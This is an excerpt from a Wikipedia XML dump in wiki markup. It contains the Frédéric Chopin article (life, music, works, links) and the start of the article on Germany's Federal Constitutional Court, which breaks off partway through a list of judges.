'''Frédéric François Chopin''' ({{IPA2|fʁedeʁik fʁɑ̃swa ʃɔpɛ̃}}), ([[March 1]] [[1810]]&amp;nbsp;&amp;ndash;&amp;nbsp;[[October 17]], [[1849]]) is one of the most famous, influential and admired [[composer]]s for the [[piano]], and [[Poland]]'s most significant composer.  He was born '''Fryderyk Franciszek Chopin''', of [[France|French]] and [[Polish]] parentage in the village of [[Żelazowa Wola]], Poland.  In Warsaw he was hailed as a child prodigy for his keyboard and composition skill.  He left for [[Paris]] at the age of 20, having already composed his two piano concertos, and never returned to Poland. In Paris, he made a career as a performer and teacher as well as a composer, and adopted the [[French language|French]] variant of his name, &quot;Frédéric-François&quot;.  In 1836 he met the French writer [[George Sand]], with whom he had a relationship for nine years until 1847.  After suffering from poor health for much of his life, his condition forced him to give up performing and teaching shortly before he died.

Chopin's compositions, which are almost exclusively for the [[piano]], include the [[Piano Sonata No. 2 in B-flat Minor (Chopin)|''Funeral March'' piano sonata]] and the twenty-four [[étude|études]] and are widely considered to be amongst the pinnacles of the piano repertoire.  Although some of his music is among the most technically demanding for the instrument, Chopin's style emphasizes poetry, nuance, and expressive depth rather than mere technical display.  He is often cited as one of the mainstays of [[Romanticism]] in [[nineteenth-century]] [[European classical music|classical music]].

==Biography==
Chopin was born in [[Żelazowa Wola]] in central [[Poland]] near [[Sochaczew]], in the region of [[Masovia]], which was part of the [[Duchy of Warsaw]]. He was born to [[Mikołaj Chopin|Mikołaj (Nicolas) Chopin]], a [[France|Frenchman]] of distant [[Polish]] ancestry who adopted Poland as his homeland when he moved there in 1787, and married [[Tekla Justyna Krzyzanowska]], a Pole.  

According to the composer's family, Chopin was born on [[March 1]], [[1810]], and he always celebrated his birthday on this day. His baptismal certificate lists his date of birth as [[February 22]], but it is believed this was an error on the part of the priest (the certificate was written on 23 April, almost eight weeks after the birth). 

===Formative years===
[[Image:Chopin-scheffer.jpg|thumb|left|Frédéric François Chopin, by Ary Scheffer]]The family moved to Warsaw in October 1810.  The young Chopin's musical talent was apparent early on, and in Warsaw he gained a reputation as a &quot;second [[Wolfgang Amadeus Mozart|Mozart]]&quot;. At the age of 7 he was already the author of two [[polonaise]]s (in G minor and B-flat major), the first being published in the engraving workshop of Father Cybulski, director of the School of Organists and one of the few music publishers in Poland. The [[child prodigy|prodigy]] was featured in the [[Warsaw]] newspapers, and &quot;little Chopin&quot; became the attraction at receptions given in the aristocratic salons of the capital. He also began giving public charity concerts. At one concert, he is said to have been asked what he thought the audience liked best. 7-year-old Chopin replied, &quot;My [shirt] collar.&quot; He performed his first piano concert at age 8. His first professional piano lessons, given to him by the violinist [[Wojciech Zywny]] (born [[1756]] in [[Bohemia]]), lasted from [[1816]] to [[1822]].  Chopin later spoke highly of Zywny, although Chopin's skills soon surpassed those of his teacher.

The further development of Chopin's talent was supervised by [[Wilhelm Würfel]] (born [[1791]] in [[Bohemia]]). This renowned pianist, a professor at the [[Warsaw]] Conservatory, gave Chopin valuable (although irregular) lessons in playing [[organ (music)|organ]], and possibly piano. From 1823 to 1826, Chopin attended the Warsaw Lyceum, where his father was a professor. In the autumn of 1826, Chopin began studying [[music theory]], [[figured bass]], and [[musical composition|composition]] with the composer [[Józef Elsner]] (born [[1769]] in [[Silesia]]) at the Warsaw Conservatory. Chopin's contact with Elsner may date to as early as 1822, and it is certain that Elsner was giving Chopin informal guidance by 1823.

In 1829 in Warsaw, Chopin heard [[Niccolò Paganini]] play, and he also met the German pianist and composer [[Johann Nepomuk Hummel]]. It was also back in 1829 that Chopin met his first love, a singing student named Constantia Gladkowska. This inspired Chopin to put the melody of the human voice into his works. Chopin also paid his first visit to [[Vienna]] in that year, where he gave two piano performances and received mixed notices, including many very favourable reviews and others that criticised the small tone he produced from the piano. 

In Warsaw in December he performed the premiere of his [[Piano Concerto No. 2 (Chopin)|Piano Concerto in F minor]] at the Merchants' Club. He gave the first performance of his other piano concerto, [[Piano Concerto No. 1 (Chopin)|in E minor]] at the National Theatre on [[17 March]] [[1830]].  He visited Vienna again in 1830, playing his two piano concertos.

In Vienna, he learned about the [[November Uprising]] and decided not to return to Poland.  He stayed in Vienna for a few more months before visiting Munich and Stuttgart (where he learned of Poland's occupation by the Russian army), and arrived in [[Paris]] early in October.  He had already composed a body of important compositions, including his two piano concertos and some of his etudes Op. 10.

===Career in Paris===
In Paris Chopin was introduced to some of the foremost pianists of the day, including [[Friedrich Kalkbrenner]], [[Ferdinand Hiller]] and [[Franz Liszt]], and he formed personal friendships with the composers [[Hector Berlioz]], [[Felix Mendelssohn]] and [[Vincenzo Bellini]] (beside whom he is buried in the [[Père Lachaise]]).  His music was already admired by many of his composer contemporaries, among them [[Robert Schumann]] who penned the now famous review of the Variations Op. 2: &quot;Hats off, Gentlemen! A genius&quot;.

From Paris Chopin made various visits and tours.  In 1834, with Hiller, he visited a Rhenish Music Festival at Aachen organised by [[Ferdinand Ries]].  Here Chopin and Hiller met up with Mendelssohn and the three went on to visit [[Düsseldorf]], [[Koblenz]] and [[Cologne]], enjoying each other's company and learning and playing music together.

Chopin participated in several concerts during his years in Paris. The programs of these concerts provide some idea of the richness of Parisian artistic life during this period, such as the concert on [[March 23]] 1833 in which Chopin, Liszt and Hiller played the solo parts in a performance of [[Johann Sebastian Bach]]'s concerto for three harpsichords, or the concert on [[March 3]] 1838 when Chopin, [[Charles-Valentin Alkan]], Alkan's teacher Pierre Joseph Zimmerman and Chopin's pupil Adolphe Gutman played Alkan's 8-hand arrangement of [[Ludwig van Beethoven|Beethoven]]'s seventh symphony.

In 1835 Chopin visited his family in Karlsbad, whence he accompanied his parents to [[Děčín]] where they lived, and then to Warsaw.  He returned to Paris ''via'' [[Dresden]], where he stayed for some weeks, and then [[Leipzig]] where he met up with Mendelssohn, [[Robert Schumann]] and [[Clara Wieck]].  However on the return journey he had a severe bronchial attack - so bad that he was reported dead in some Polish newspapers.

In [[1836]] Chopin was engaged to a seventeen-year-old Polish girl named Maria Wodzinska, whose mother insisted that the engagement be kept secret.  The engagement was called off in the following year by her family.

===Chopin and George Sand===
[[Image:Frederic Chopin photo2.jpeg|thumb|The only known photograph of Frédéric Chopin, taken by [[Louis-Auguste Bisson]] in [[1849]].]]
In 1836, at a party hosted by Countess [[Marie d'Agoult]], mistress of fellow composer Franz Liszt, Chopin met Amandine-Aurore-Lucile Dupin, Baroness Dudevant, better known by her pseudonym [[George Sand]]. She was a French Romantic writer, noted for her numerous love affairs with such prominent figures as [[Prosper Merimée]], [[Alfred de Musset]] (1833&amp;ndash;34), [[Alexandre Manceau]] (1849&amp;ndash;65), and others.

The composer initially did not consider her attractive. &quot;Something about her repels me,&quot; he said to his family.   However, in an extraordinary letter from Sand to her friend Count Wojciech Grzymala in June 1837, she debated whether to let Chopin go with Maria Wodzinska or whether to abandon another affair in order to start a relationship with Chopin.  Sand had strong intentions towards Chopin, and pursued him until a relationship began.

A notable episode in their time together was a turbulent and miserable winter on [[Mallorca]] ([[1838]]&amp;ndash;[[1839]]), where they had problems finding habitable accommodation and ended up lodging in the scenic, but basic and cold [[Valldemossa]] monastery. Chopin also had problems having his [[Pleyel]] piano sent to him.  It arrived from Paris after a great delay, to be stuck at the Spanish [[Customs (tax)|customs]] who demanded a large import duty. He could only use it for a little more than three weeks; the rest of the time he had to compose on a rickety rented piano to complete his [[Preludes Op. 28 (Chopin)|''Preludes'']] (Op. 28).

During the winter, the bad weather had such a serious impact on Chopin's health and his chronic lung disease that, to save his life, he and George Sand were compelled to return first to the Spanish mainland where they reached [[Barcelona]], and then to [[Marseille]] where they stayed for a few months to recover. Although his health improved, he never completely recovered from this bout. He complained about the incopetence of the doctors in Mallorca: &quot;The first said I was going to die; the second said I had breathed my last; and the third said I was already dead.&quot;

Chopin spent the summers of 1839 until 1843 at Sand's estate in [[Nohant]]. These were quiet but productive days, during which Chopin composed many works. On his return to Paris in 1839, he met the pianist and composer [[Ignaz Moscheles]].

In 1845 a serious problem emerged in Chopin's relationship with Sand at the same time as a further deterioration in Chopin's health.  Their relationship was further soured in 1846 by family problems; this was the year in which Sand published ''Lucrezia Floriani'', which is quite unfavourable to Chopin. The story is about a rich actress and a prince with weak health, but it is possible to interpret the main characters as Sand and Chopin. The family problems finally brought an end to their relationship in 1847.

===Death and funeral===
[[Image:paris.chopin.grave.500pix.jpg|thumb|200px|left|Chopin's grave on the [[Père Lachaise]] cemetery in Paris.]]In 1848 Chopin gave his last concert in Paris, and visited [[England]] and [[Scotland]] with his student and admirer Jane Stirling. They reached [[London]] in November, and although Chopin managed to give some concerts and salon performances, he was severely ill. He returned to Paris where in 1849 he became unable to teach or perform.  His sister Ludwika nursed him at his home in the place Vendôme; he died there in the small hours of [[October 17]].  Later that morning a [[death mask]] and a cast of Chopin's hands were made.

He had requested that [[Requiem (Mozart)|Mozart's ''Requiem'']] be sung at his funeral, which was held at the [[Église de la Madeleine|Church of the Madeleine]] and was attended by nearly three thousand people.  The Requiem has major parts for female singers but the Madeleine had never permitted female singers in its choir.  The funeral was delayed for almost 2 weeks, until the church finally relented and granted Chopin's final wish provided the female singers remained behind a black velvet curtain.  Also performing was the bass [[Luigi Lablache]], who had also sung the same work at the funerals of Beethoven and Bellini.

[[Image:Holycrosswarsaw.jpg|thumb|250px|Church of the Holy Cross in Warsaw. Chopin's bust is visible on the left-most pillar, and is also the location of his heart.]]Although Chopin is buried in the [[Père Lachaise]] cemetery in Paris, at his own request his heart was removed and dispatched in an urn to [[Warsaw]], where it is sealed in a pillar in the Church of the Holy Cross.  The Père Lachaise site attracts numerous visitors and is invariably festooned with flowers, even in the dead of winter.

==Music==
Chopin's music for the piano combined a unique rhythmic sense (particularly his use of [[rubato]], chromatic inflections, and [[counterpoint]]). This mixture produces a particularly fragile sound in the melody and the harmony, which are nonetheless underpinned by solid and interesting harmonic techniques. He took the new salon genre of the [[nocturne]], invented by Irish composer [[John Field (composer)|John Field]], to a deeper level of sophistication, and endowed popular dance forms, such as the [[Poland|Polish]] [[mazurka]] and the [[Vienna|Viennese]] [[waltz]], with a greater range of melody and expression. Chopin was the first to write Ballades (a genre he invented) and Scherzi as individual pieces. Chopin also took the example of Bach's preludes and fugues, transforming the genre in his own ''preludes''.

Several of Chopin's melodies have become very well known - for instance the ''[[Revolutionary Etude|Revolutionary Étude]]'' (Op.&amp;nbsp;10,&amp;nbsp;No.&amp;nbsp;12), the ''[[Minute Waltz]]'' (Op.&amp;nbsp;64,&amp;nbsp;No.&amp;nbsp;1), and the third movement of his ''[[Funeral march|Funeral March]]'' sonata (Op.&amp;nbsp;35), which is often used as an iconic representation of grief.  The Revolutionary Étude was not written with the failed Polish uprising against Russia in mind, it merely appeared at that time.  The Funeral March was written as a funereal piece, but it was not inspired by any recent personal bereavement.  Other melodies have been used as the basis of popular songs, such as the slow section of the ''[[Fantaisie-Impromptu]]'' (Op.&amp;nbsp;66) and the first section of the etude Op.&amp;nbsp;10&amp;nbsp;No.&amp;nbsp;3.  These pieces often rely on an intense and personalized chromaticism, as well as a melodic curve that resembles the operas of Chopin's day - the operas of [[Gioacchino Rossini]], [[Gaetano Donizetti]], and especially Bellini.  Chopin used the piano to re-create the gracefulness of the singing voice, and talked and wrote constantly about singers.

Chopin's style and gifts became increasingly influential: Schumann was a huge admirer of Chopin's music &amp;mdash; although the feeling was not mutual &amp;mdash; and he took melodies from Chopin and even named a piece from his suite ''[[Carnaval (op. 9) (Schumann)|Carnaval]]'' after Chopin.  [[Franz Liszt]], another great admirer and personal friend of the composer, transcribed six of Chopin's songs for piano. Liszt later dedicated a movement of his ''[[Harmonies Poétiques et Religieuses]]'' to Chopin, titling it ''[[Funérailles]]''  and subtitling it &quot;October 1849.&quot;  The mid-section recalls powerfully the famous octave trio section of Chopin's ''[[Polonaise in A-flat major|Polonaise, op. 53]]''. Despite this, Liszt denied it had been inspired by Chopin's death but by the deaths of three of Liszt's Hungarian compatriots in the same month.

Chopin performed his own works in concert halls but most often in his salon for friends.  Only later in life, as his disease progressed, did Chopin give up public performance altogether.

Chopin's technical innovations also became influential.  His préludes (Op. 28) and études (Op. 10 and 25) rapidly became standard works, and inspired both Liszt's ''[[Transcendental Etudes|Transcendental Études]]'' and Schumann's ''[[Symphonic Etudes|Symphonic Études]]''. The early [[Alexander Scriabin]] was also influenced by Chopin, his 24 Preludes op.11 are inspired by Chopin's Op.28.

Jeremy Siepmann, in his biography of the composer, named a list of pianists he believed to have made recordings of works by Chopin generally acknowledged to be among the greatest Chopin performances ever preserved: [[Vladimir de Pachmann]], [[Raoul Pugno]], [[Ignacy Jan Paderewski]], [[Moriz Rosenthal]], [[Sergei Rachmaninoff]], [[Alfred Cortot]], [[Ignaz Friedman]], [[Raul Koczalski]], [[Arthur Rubinstein]], [[Mieczysław Horszowski]], [[Claudio Arrau]], [[Vlado Perlemuter]], [[Vladimir Horowitz]], [[Dinu Lipatti]], [[Vladimir Ashkenazy]], [[Martha Argerich]], [[Maurizio Pollini]], [[Murray Perahia]], [[Krystian Zimerman]], [[Evgeny Kissin]]. 

Rubinstein said the following about Chopin's music and its universality:

:''Chopin was a genius of universal appeal. His music conquers the most diverse audiences. When the first notes of Chopin sound through the concert hall there is a happy sigh of recognition. All over the world men and women know his music. They love it. They are moved by it. Yet it is not &quot;Romantic music&quot; in the [[George Gordon Byron, 6th Baron Byron|Byron]]ic sense. It does not tell stories or paint pictures. It is expressive and personal, but still a pure art. Even in this abstract atomic age, where emotion is not fashionable, Chopin endures. His music is the universal language of human communication. When I play Chopin I know I speak directly to the hearts of people!'' &lt;!-- Reference? --&gt;

===Style===

Although Chopin lived in the 1800s, he was educated in the tradition of Beethoven, [[Joseph Haydn|Haydn]], [[Wolfgang Amadeus Mozart|Mozart]] and [[Muzio Clementi|Clementi]]; he even used Clementi's piano method with his own students.  He was also influenced by Hummel's development of virtuoso, yet Mozartian, piano technique.  One of his students, [[Friederike Muller]], wrote the following in her diary about Chopin's playing style:

:''His playing was always noble and beautiful; his tones sang, whether in full forte or softest piano.  He took infinite pains to teach his pupils this legato, cantabile style of playing.  His most severe criticism was &quot;He&amp;mdash;or she&amp;mdash;does not know how to join two notes together.&quot; He also demanded the strictest adherence to rhythm.  He hated all lingering and dragging, misplaced rubatos, as well as exaggerated ritardandos ... and it is precisely in this respect that people make such terrible errors in playing his works.''

===Chopin and [[Romanticism]]===
Chopin regarded the Romantic movement with indifference, if not distaste, and rarely associated himself with it directly. Even so, today Chopin's music is considered to be the paragon of the Romantic style.

However, his music has less of the expected trappings of Romanticism: There is a classical purity and discretion in his music, with little Romantic exhibitionism, personified by his reverence of Bach and [[Wolfgang Amadeus Mozart]] (Chopin based the structure of his preludes on the [[Well-tempered Clavier]] of Bach). Chopin also never indulged in 'scene painting' in his music or affixing to his works fanciful or descriptive titles, unlike his contemporary [[Robert Schumann]]. Also, unlike his flamboyant contemporary [[Franz Liszt]], Chopin was withdrawn from public life.

==Works==
: ''See also [[list of compositions by Frédéric Chopin]] and category [[:Category:Compositions by Frédéric Chopin|compositions by Frédéric Chopin]]

All of Chopin's works involve the piano, whether solo or accompanied. They are predominantly for solo piano but include a small number of piano ensembles with instruments including a second piano, violin, cello, voice, and orchestra.

His larger scale works such as the four [[ballade]]s, the four [[scherzo]]s, the barcarolle, and [[piano sonata|sonatas]] have cemented a solid place within the repertoire, as well as shorter works like his [[impromptu]]s, [[mazurka]]s, [[nocturne]]s, [[waltz]]es and [[polonaise]]s.  Two important collections are the 24 [[Preludes Op. 28 (Chopin)|Preludes Op. 28]], based loosely on [[Johann Sebastian Bach|Bach]]'s ''[[Well-Tempered Clavier]]'', and the [[étude]]s Op. 10 and Op. 25, which are a staple of that genre for pianists.

Chopin composed two of the romantic [[piano concerto]] repertoire's most often-performed examples, his Opp. [[Piano Concerto No. 1 (Chopin)|11]] and [[Piano Concerto No. 2 (Chopin)|21]].  In addition, he wrote several [[song]] settings of [[Polish language|Polish]] texts, and chamber pieces including a [[piano trio]] and a [[sonata (music)|sonata]] for [[cello]] and [[piano]].

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Chopin Nocturne.ogg|title=Nocturne Op 15 No 2|description=In F sharp major|format=[[Ogg]]}}
{{multi-listen item|filename=Fantasie-Impromptu -- Frederic Chopin.ogg|title=Fantaisie-Impromptu in C-sharp minor Op. 66|description=Most of this piano solo features 4:3 [[polyrhythm]]|format=[[ogg]]}} 
{{multi-listen item|filename=Chopin Liszt Zyczenie (The Maiden's Wish) Brian E Young.ogg|title=&quot;Zyczenie&quot; (&quot;The Maiden's Wish&quot;) Op. 74, No. 1 from Polish Songs|description=Chopin originally wrote this piece for piano and voice, arranged for solo piano by [[Franz Liszt]]|format=[[Ogg]]}}
{{multi-listen item|filename=Chopin_Waltz_Op_69_No_1_Brian_E_Young.ogg|title=Waltz Op 69 No 1 &quot;L'Adieu&quot;|description=Posthumous|format=[[Ogg]]}}
{{multi-listen item|filename=Chopin-Berceuse.ogg|title=Berceuse|description=Opus 57, Performed by Veronica van der Knaap|format=[[Ogg]]}}
{{multi-listen end}}

== Other ==
In commemoration of the genius of Frédéric Chopin, the [[International Frederick Chopin Piano Competition]] is held in [[Warsaw]], [[Poland]] every five years.

===Eponyms===
The following have been named after the composer:

* [[3784 Chopin|Asteroid 3784 Chopin]]
* [[Warsaw Frederic Chopin Airport]] (also known as Frederic Chopin International Airport)

== Chopin in fiction ==

Chopin and Sand's illustrious relationship is embroidered in the film ''[[Impromptu (1991 movie)|Impromptu]]'' which stars Hugh Grant as Chopin and Judy Davis as George Sand.

==See also==
* [[Frédéric Chopin Piano Competition|Piano competitions named after Chopin]]
* [[Great Emigration]]
* [[Hôtel Lambert]]
* [[Carl Mikuli]], student, teaching assistant and editor of Chopin.
* ''[[Chopin: Desire for Love]]'', movie
* [[Włodzimierz Krzyżanowski]], cousin of Chopin
* ''[[A Song to Remember]]'', movie

==References==
*Samson, Jim (1996). ''Chopin''. Oxford: Oxford University Press. ISBN 0-19-816495-5.
*Siepmann, Jeremy (1995). ''Chopin: The Reluctant Romantic''. London: Victor Gollancz. ISBN 0-575-05692-4
*Bastet, Frédéric L. (1997). ''Helse liefde: Biografisch essay over Marie d'Agoult, Frédéric Chopin, Franz Liszt, George Sand'' [in Dutch]. Amsterdam: Querido. ISBN 90-214-5157-3.

==External links==
*[http://www.chopin.pl/biografia/index_en.html Chopin's Page]
{{Commons|Frédéric Chopin}}
* [http://chopin.nifc.pl/icich/source.php?m=8&amp;type=6&amp;cat=1&amp;subcat=2&amp;lng=_en ''Chopinian Bibliography''] The largest electronic database containing bibliographical records (currently 11.000+)
* [http://chopin.lib.uchicago.edu/ ''Chopin Early Editions''] A collection of over 400 first and early printed editions of musical compositions by Frédéric Chopin published before 1881.
* [http://www.imslp.org/index.php?title=Category:Chopin%2C_Frederic IMSLP] - International Music Score Library Project's Chopin page.
* [http://www.valldemossa.com/museoin.htm Valldemossa monastery, Majorca]
* The [http://www.chopin.pl/spis_tresci/index_en.html Frederick Chopin Society] in [[Warsaw]]. Contains a biography, an outline of Chopin's works and musical style and pictures of original handwritten manuscripts.
* [http://chopin.nifc.pl/icich/index.php?lng=_en Internet Chopin Information Centre] - Chopin portal with calendar, catalogues, and other information about Chopin, also pianists' biographical notes, Chopin in the Web and more.
* [http://www.chopinmusic.net ChopinMusic] - Chopin website with recordings, sheet music, photo galleries, a forum and more.
* [http://www.carolinaclassical.com/articles/chopin.html Fryderyk Chopin: Poet of the Piano]
* [http://www.pianoparadise.com/chopin.html Chopin biographical resources] - A concise biography of the famous composer Chopin, with recordings and sheet music.
* Biographies ([[Project Gutenberg]] e-texts):
** [http://www.gutenberg.net/etext/4386 ''Life of Chopin'', by Franz Liszt]
** [http://www.gutenberg.net/etext/4973 ''Frederick Chopin as a Man and Musician'', by Frederick Niecks]
** [http://www.gutenberg.net/etext/4939 ''Chopin: The Man and his Music'', by James Huneker]
* [http://www.mutopiaproject.org/cgibin/make-table.cgi?Composer=ChopinFF&amp;preview=1 Chopin's partitions] from [[Mutopia Project]]
* {{IckingArchive|idx=Chopin|name=Frédéric Chopin}}
* [http://www.classicalarchives.com/chopin.html Chopin's music collection on ''Classical Music Archives'']
* [http://www.konkurs.chopin.pl/index.php International Frederick Chopin Piano Competition]
* [http://www.chopinfiles.com Recordings, sheet music, and information on Chopin]
* {{musicbrainz artist|id=09ff1fe8-d61c-4b98-bb82-18487c74d7b7|name=Frédéric Chopin}}
*[http://www.pianosociety.com/index.php?id=9 Piano Society&amp;nbsp;&amp;mdash; Chopin]. Biography and free Chopin recordings.
* {{gutenberg author| id=Frederik+Chopin | name=Frédéric Chopin}}
*[http://www.ourchopin.com Chopin: the Poet of the Piano]

===Recordings===
*Free recordings of [http://innig.net/music/betts-chopin/ Chopin's music] performed by Donald Betts (3 ballades, 3 études, 2 nocturnes, 1 mazurka).
*[http://www.pianoparadise.com/downloadmp3/chopin.html PianoParadise &amp;mdash; Chopin] &amp;mdash; Free mp3 files of pieces composed by Chopin.
*Free recordings of [http://innig.net/music/inthehands/category/recordings/chopin/ Chopin's music] performed by Paul Cantrell.
*[http://www.gressus.se/chopin/midi/chopin.html The Chopin MIDI Archive] &amp;mdash; Chopin's works in MIDI format.
*Free recordings of [http://innig.net/music/recordings/ith_chopin-47.mp3 Chopin's music].

{{Romanticism}}

 
[[Category:Polish composers|Chopin, Frédéric]]
[[Category:Romantic composers|Chopin, Frédéric]]
[[Category:Polish classical pianists|Chopin, Frédéric]]
[[Category:1810 births|Chopin, Frédéric]]
[[Category:1849 deaths|Chopin, Frédéric]]

[[ar:فريدريك شوبان]]
[[bg:Фредерик Шопен]]
[[ca:Frédéric Chopin]]
[[cs:Fryderyk Chopin]]
[[da:Frédéric Chopin]]
[[de:Frédéric Chopin]]
[[et:Frédéric Chopin]]
[[es:Frédéric Chopin]]
[[eo:Frédéric CHOPIN]]
[[fr:Frédéric Chopin]]
[[ko:프레데리크 쇼팽]]
[[hr:Frédéric Chopin]]
[[io:Frédéric Chopin]]
[[is:Frédéric Chopin]]
[[it:Frédéric Chopin]]
[[he:פרדריק שופן]]
[[lv:Frederiks Šopēns]]
[[li:Frédéric Chopin]]
[[hu:Frédéric Chopin]]
[[nl:Frédéric Chopin]]
[[nds:Frédéric Chopin]]
[[ja:フレデリック・ショパン]]
[[no:Frédéric Chopin]]
[[nn:Frédéric Chopin]]
[[pl:Fryderyk Chopin]]
[[pt:Frédéric Chopin]]
[[ro:Frédéric Chopin]]
[[ru:Шопен, Фредерик]]
[[sk:Frédéric Chopin]]
[[sl:Frédéric Chopin]]
[[fi:Frédéric Chopin]]
[[sv:Frédéric Chopin]]
[[th:เฟรเดริก ฟรองซัวส์ โชแปง]]
[[tr:Frédéric Chopin]]
[[uk:Шопен Фридерик]]
[[zh:弗雷德里克·肖邦]]</text>
    </revision>
  </page>
  <page>
    <title>Federal Constitutional Court of Germany</title>
    <id>10824</id>
    <revision>
      <id>39788868</id>
      <timestamp>2006-02-15T21:57:36Z</timestamp>
      <contributor>
        <username>Ziggur</username>
        <id>374132</id>
      </contributor>
      <minor />
      <comment>Remove blank space</comment>
      <text xml:space="preserve">[[Image:Karlsruhe bundesverfassungsgericht.jpg|thumb|171px|right|The Bundesverfassungsgericht]]
{{PoliticsGermany}}
The '''Federal Constitutional Court''' (in [[German language|German]]: ''Bundesverfassungsgericht, BVerfG'') is a special court established by the German [[Constitution]], the ''[[Basic Law of the Federal Republic of Germany|Grundgesetz]]'' (Basic Law). From its inception, the Court has been located in the city of [[Karlsruhe]], intentionally dislocated from the other federal institutions (earlier in [[Bonn]], now in [[Berlin]]).

The sole task of the court is [[judicial review]]. It may therefore declare public acts [[unconstitutional]] and thus render them ineffective. As such, it is somewhat similar to the [[Supreme Court of the United States]]. However, it differs from it and other [[supreme court|supreme courts]] in that it is not part of the regular judicial system, but more a unique judicial branch. 

Most importantly, it does not serve as a regular [[court of appeals]] from lower courts or the [[Federal Court of Justice of Germany|Federal Supreme Court (BGH)]] as a sort of “superappellate court” on any violation of federal laws. Its jurisdiction is focused on constitutional issues, the integrity of the ''Grundgesetz'' and the immediate compliance of any governmental institution in any detail (article 1 subsection 3 of the ''Grundgesetz''). Even constitutional amendments or changes passed by the Parliament are subject to its judicial review, since they have to be compatible with the most basic principles of the ''Grundgesetz'' (due to its Article 79 (3), the so called 'eternity clause'). 

The court’s practice of enormous constitutional control frequency on the one hand, and the continuity in judicial self-restraint and political revision on the other hand, created a unique defender of the ''Grundgesetz'' since World War II and assigned a remarkably outstanding role in a modern democracy. 

== Procedures ==
Article 20 subsection 3 of the ''Grundgesetz'' stipulates that all the three branches of the state –legislative, executive and judicial– are bound directly by the constitution. As a result, the court can abolish acts of all three branches as unconstitutional &amp;mdash; either for formal violations, e.g. exceeding powers or violating procedures, or for material conflicts, e.g. because the civil rights prescribed in the ''Grundgesetz'' were not respected. Due to the principle of subsidiarity, no case may be brought before it until judicial review through another court branch has been completed. 

Decisions of the court on material conflicts are put into force through a federal law by the Federal Constitutional Court Act (BVerfGG).

The Constitutional Court has several strictly defined procedures in which cases may be brought before it:

* With a '''Constitutional Complaint''' ''(Verfassungsbeschwerde)'', any person may file a complaint alleging that his or her constitutional rights were violated. Although only a small fraction of these are actually successful (ranging around 2.5&amp;nbsp;% since 1951), several of these resulted in major legislation overturns, especially in the field of taxation. The large majority of the court's procedures fall in this category, with 135,968 such Complaints filed from 1957 to 2002.

* Several political institutions, including the governments of the ''[[States of Germany|Bundesländer]]'', may bring a law passed by the federal legislation before the court if they consider it unconstitutional (procedure of '''Abstract Regulation Control'''). The most well-known examples of these procedures included legislation legalizing [[abortion]], which -- in highly debated rulings -- were [[German Federal Constitutional Court abortion decision|declared unconstitutional]] twice by the Constitutional Court.

* In addition, any regular court which has doubts about whether a law in question for a certain case is in conformance with the constitution may suspend that case and bring this law before the Federal Constitutional Court (procedure of '''Single Regulation Control'''). 

* Federal institutions, including members of the ''[[Bundestag]]'', may bring internal disputes over competences and procedures before the court ('''Federal Dispute''').

* The ''[[States of Germany|Bundesländer]]'' may bring disputes over competences and procedures between them and federal institutions before the court ('''State-Federal Dispute''').

* Committee on parliament investigation, including single members of the ''[[Bundestag]]'', or the federal government may bring internal disputes over competences and procedures in case of committee’s investigation before the court ('''Investigation Committee Control''').

* Violations of election laws may be brought before the court by political institution or any involved voter ('''Federal Election Scrutiny''').

* Impeachment cases against the [[President of Germany|President]] or a judge, member of one of the Federal Supreme Courts, brought by the Bundestag, the [[Bundesrat]] or the federal government, based on violation of constitutional or federal law ('''Impeachment Procedure'''). 

* Finally, only the Constitutional Court has the power to '''prohibit a [[political party]]''' in Germany. This has only happened twice in the [[1950s]]: the [[Sozialistische Reichspartei]] (SRP), an outright [[Neo-Nazism|neo-nazi]] party, was banned in [[1952]], the [[Communist Party of Germany]] (KPD) was banned in [[1956]]. A third such procedure to prohibit the extremist right-wing [[National Democratic Party of Germany (NPD)|National Democratic Party]] (NPD) spectacularly failed in [[2003]] after the court discovered that many of the party officials were in fact controlled by the German secret services that had injected its agents for the sake of surveillance.

== Organization ==
Two Senates –each of them split into three Chambers for hearings in Constitutional Complaint and Single Regulation Control cases– belong to the court and eight judges belong to every of these Senates, headed by a senate’s chairman. Three judges belong to every Chamber; every chairman is a member of two chamber colleges. 

If one senate wishes to change a decision of the other senate the judges call upon the so called &quot;Plenum&quot;. The plenum consists of all 16 judges with the president presiding.

Decisions by one of the Senates need an absolute majority of 5 votes; decisions by one of the Chambers need to be unanimous. The court allows its members as the only court in Germany to release a dissenting vote in public, since internal votes in other courts are confidential. 

A Chamber is authorized to release any ruling except dissenting of the jurisdiction practice of the Senate it belongs to. A Senate is authorized to release any ruling except dissenting of the jurisdiction practice of the court; such cases have to be brought before the full plenum of all 16 judges.

The current president of the Court is [[Hans-Jürgen Papier]].

==Members==

====First Senate (current only)====

*'''[[Hans-Jürgen Papier]]'''
*[[Evelyn Haas]]
*[[Dieter Hömig]]
*[[Udo Steiner]]
*[[Christine Hohmann-Dennhardt]]
*[[Wolfgang Hoffmann-Riem]]
*[[Brun-Otto Bryde]]
*[[Reinhard Gaier]]

====Second Senate (current only)====

*[[Siegfried Broß]]
*[[Lerke Osterloh]]
*[[Udo Di Fabio]]
*[[Rudolf Mellinghoff]]
*[[Gertrude Lübbe-Wolff]]
*[[Michael Gerhardt]]
*[[Herbert Landau]]

====Presidents of the Senate====

*[[Josef Wintrich]]
*[[Gebhard Müller]]
*[[Ernst Benda]]
*[[Wolfgang Zeidler]]
*[[Roman Herzog]]
*[[Jutta Limbach]]
*[[Hans-Jürgen Papier]]

===All judges===

*[[Ernst Benda]]
*[[Ernst-Wolfgang Böckenförde]]
*[[Werner Böhmer]]
*[[Siegfried Broß]]
*[[Hans Brox]]
*[[Brun-Otto Bryde]]
*[[Udo Di Fabio]]
*[[Thomas Dieterich]]
*[[Wilhelm Ellinghaus]]
*[[Hans Joachim Faller]]
*[[Reinhard Gaier]]
*[[Michael Gerhardt]]
*[[Karin Graßhof]]
*[[Dieter Grimm]]
*[[Karl Haager]]
*[[Evelyn Haas]]
*[[Winfried Hassemer]]
*[[Johann Friedrich Henschel]]
*[[Roman Herzog]]
*[[Konrad Hesse]]
*[[Dieter Hömig]]
*[[Hermann Höpker-Aschoff]]
*[[Christine Hohmann-Dennhardt]]
*[[Wolfgang Hoffmann-Riem]]
*[[Renate Jaeger]]
*[[Hans-Joachim Jentsch]]
*[[Rudolf Katz]]
*[[Dietrich Katzenstein]]
*[[Paul Kirchhof]]
*[[Hans Hugo Klein]]
*[[Konrad Kruis]]
*[[Jürgen Kühling]]
*[[Herbert Landau]]
*[[Gerhard Leibholz]]
*[[Jutta Limbach]]
*[[Gertrude Lübbe-Wolff]]
